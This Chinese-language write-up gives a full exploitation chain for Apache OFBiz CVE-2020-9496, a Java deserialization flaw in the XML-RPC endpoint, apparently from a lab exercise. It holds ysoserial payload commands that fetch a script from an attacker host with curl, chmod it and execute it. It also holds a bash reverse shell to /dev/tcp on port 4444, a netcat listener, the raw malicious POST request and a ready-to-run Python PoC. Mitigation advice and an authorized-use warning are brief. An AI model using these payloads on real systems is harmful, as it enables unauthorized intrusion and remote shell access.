Apache OFBiz 17.12.01 的远程命令执行漏洞 -Java 反序列化 + XML-RPC 请求机制
目录
漏洞原理
🎯 一、漏洞背景(CVE-2020-9496)
⚙️ 二、攻击原理简述
🧱 三、完整攻击流程步骤详解
🔎 1. 信息收集
🛠️ 2. 工具准备
🧪 3. 构造初始 payload:下载恶意脚本
📨 4. 构造 XML-RPC POST 请求
🧪 5. 启动临时 HTTP 服务器
🐚 6. 准备反弹 shell 的脚本 bash.sh
🧨 7. 第二个 payload:修改权限
💥 8. 第三个 payload:执行反弹脚本
📡 9. 启动监听
✅ 四、攻击流程总结图(可选)
🔐 五、安全建议
POC部分
✅ 先决条件(手动准备)
🐍 Python POC 脚本
🧪 使用方法示例
❗ 安全提醒
漏洞原理
对 Apache OFBiz 17.12.01 的远程命令执行漏洞(CVE-2020-9496)的完整利用过程,攻击原理是基于 Java 反序列化 + XML-RPC 请求机制。下面我将逐步分解整个过程,包括漏洞原理、具体步骤、工具使用和攻击链。
🎯 一、漏洞背景(CVE-2020-9496)
Apache OFBiz 是一个基于 Java 的开源企业资源计划软件。其 XML-RPC 接口在处理用户提供的 <serializable>
XML 标签时,没有对反序列化对象进行严格校验,导致攻击者可以传入恶意序列化数据,在服务器端反序列化执行任意代码。
该漏洞存在于 /webtools/control/xmlrpc
接口。
⚙️ 二、攻击原理简述
-
入口点:
/webtools/control/xmlrpc
接口接受 XML-RPC 格式的请求。 -
利用点:XML 内的
<serializable>
标签支持 Java 对象反序列化。 -
漏洞点:OFBiz 未验证反序列化对象的安全性(无黑名单、白名单机制)。
-
核心攻击技术:利用 ysoserial 工具构造一个恶意的 Java 序列化对象,包装在 XML 中,并通过 POST 请求发送,造成远程代码执行。
🧱 三、完整攻击流程步骤详解
🔎 1. 信息收集
-
目标网页登录界面暴露了 OFBiz 的版本:17.12.01
-
查询得知该版本存在 CVE-2020-9496
🛠️ 2. 工具准备
下载 ysoserial 以生成恶意 Java 反序列化 payload:
git clone https://github.com/frohoff/ysoserial
cd ysoserial
mvn clean package
🧪 3. 构造初始 payload:下载恶意脚本
java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "curl 10.10.14.83/bash.sh -o /tmp/bash.sh" | base64 | tr -d "\n"
说明:
-
使用
CommonsBeanutils1
gadget 生成恶意 Java 对象。 -
命令通过
curl
下载 payload(bash.sh
)到/tmp/bash.sh
。 -
使用
base64
编码后放入 XML-RPC 请求的<serializable>
部分。
📨 4. 构造 XML-RPC POST 请求
发送如下请求到目标的 /webtools/control/xmlrpc
接口:
POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093<?xml version="1.0"?>
<methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable></value></member></struct></value></param></params>
</methodCall>
可以用 curl
, Burp Suite
, Python requests
等发送。
🧪 5. 启动临时 HTTP 服务器
为了让目标通过 curl 下载文件,攻击者启动一个 HTTP 服务:
python3 -m http.server
🐚 6. 准备反弹 shell 的脚本 bash.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.83/4444 0>&1
🧨 7. 第二个 payload:修改权限
java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "chmod 777 /tmp/bash.sh" | base64 | tr -d "\n"
同样发送 XML-RPC 请求让目标服务器执行该 payload,赋予可执行权限。
💥 8. 第三个 payload:执行反弹脚本
java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "bash -c /tmp/bash.sh" | base64 | tr -d "\n"
最后一次请求触发反弹 shell。
📡 9. 启动监听
攻击者开启监听等待连接:
nc -lvvp 4444
目标执行脚本后,即可与攻击者建立反弹连接。
✅ 四、攻击流程总结图(可选)
[1] 信息收集↓
[2] ysoserial 构造 payload(curl 下载)↓
[3] POST XML 到 /webtools/control/xmlrpc↓
[4] HTTP 服务器接收到 curl 请求↓
[5] 构造 payload(chmod 脚本)↓
[6] 构造 payload(执行脚本)↓
[7] Netcat 接收到反弹连接
🔐 五、安全建议
-
升级 Apache OFBiz 到安全版本(>= 17.12.02)。
-
禁用或限制
/webtools/control/xmlrpc
接口的访问。 -
使用 Java 反序列化防护机制(如 Apache Commons IO + ObjectInputFilter)。
-
内部资产添加身份验证与访问控制。
POC部分
针对 Apache OFBiz CVE-2020-9496 的 利用 PoC(Proof of Concept)脚本,使用 Python 实现自动化发送恶意 XML-RPC 请求。该脚本会:
-
使用你手动生成的 base64 payload(通过 ysoserial)
-
构造 XML-RPC 请求体
-
向
/webtools/control/xmlrpc
发送 POST 请求
✅ 先决条件(手动准备)
-
安装
ysoserial
,生成 payload,例如:java -jar ysoserial.jar CommonsBeanutils1 "id" | base64 | tr -d "\n"
-
替换脚本中的
BASE64_PAYLOAD
内容为你生成的内容。
🐍 Python POC 脚本
import requests# =============== 配置区域 ================
target_url = "https://127.0.0.1:8443/webtools/control/xmlrpc" # 修改为你的目标
base64_payload = "<REPLACE_WITH_YOUR_BASE64_PAYLOAD>" # 替换成你的base64内容
verify_ssl = False # 关闭 SSL 验证(自签名证书时使用)# =============== 构造 XML-RPC 请求 ================
xml_body = f'''<?xml version="1.0"?>
<methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{base64_payload}</serializable></value></member></struct></value></param></params>
</methodCall>
'''headers = {"Content-Type": "application/xml","User-Agent": "Mozilla/5.0"
}# =============== 发送请求 ================
print("[*] Sending payload to target...")
response = requests.post(target_url, headers=headers, data=xml_body, verify=verify_ssl)# =============== 输出结果 ================
print(f"[+] Response code: {response.status_code}")
print("[+] Response body:")
print(response.text)
🧪 使用方法示例
假设你想执行 whoami
:
java -jar ysoserial.jar CommonsBeanutils1 "whoami" | base64 | tr -d "\n"
将生成的 base64 粘贴进脚本中,运行:
python3 exploit_ofbiz_cve2020_9496.py
❗ 安全提醒
该 PoC 仅限于授权测试或靶机环境使用,不得在未授权系统上运行!